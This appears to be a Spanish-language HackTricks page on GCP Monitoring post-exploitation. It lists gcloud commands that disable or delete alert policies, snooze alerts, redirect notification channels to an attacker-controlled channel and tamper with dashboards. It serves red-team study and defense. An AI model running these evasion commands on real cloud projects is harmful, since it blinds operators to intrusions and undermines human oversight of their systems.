GCP - Monitoring Post Exploitation

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Monitoreo

Para más información consulta:

GCP - Monitoring Enum

Para otras formas de interrumpir logs consulta:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

Eliminar una política de alerta:

gcloud alpha monitoring policies delete <policy>

monitoring.alertPolicies.update

Interrumpir una política de alerta:

# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled

# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels

# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>

monitoring.dashboards.update

Modifica un panel para interrumpirlo:

# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

Eliminar un panel:

# Delete dashboard
gcloud monitoring dashboards delete <dashboard>

monitoring.snoozes.create

Evitar que las políticas generen alertas creando un snoozer:

# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"

monitoring.snoozes.update

Actualiza el tiempo de un snoozer para evitar que se creen alertas cuando el atacante está interesado:

# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>

monitoring.notificationChannels.delete

Eliminar un canal configurado:

# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

Actualiza las etiquetas de un canal para interrumpirlo:

# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=[e-mail]

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

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• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.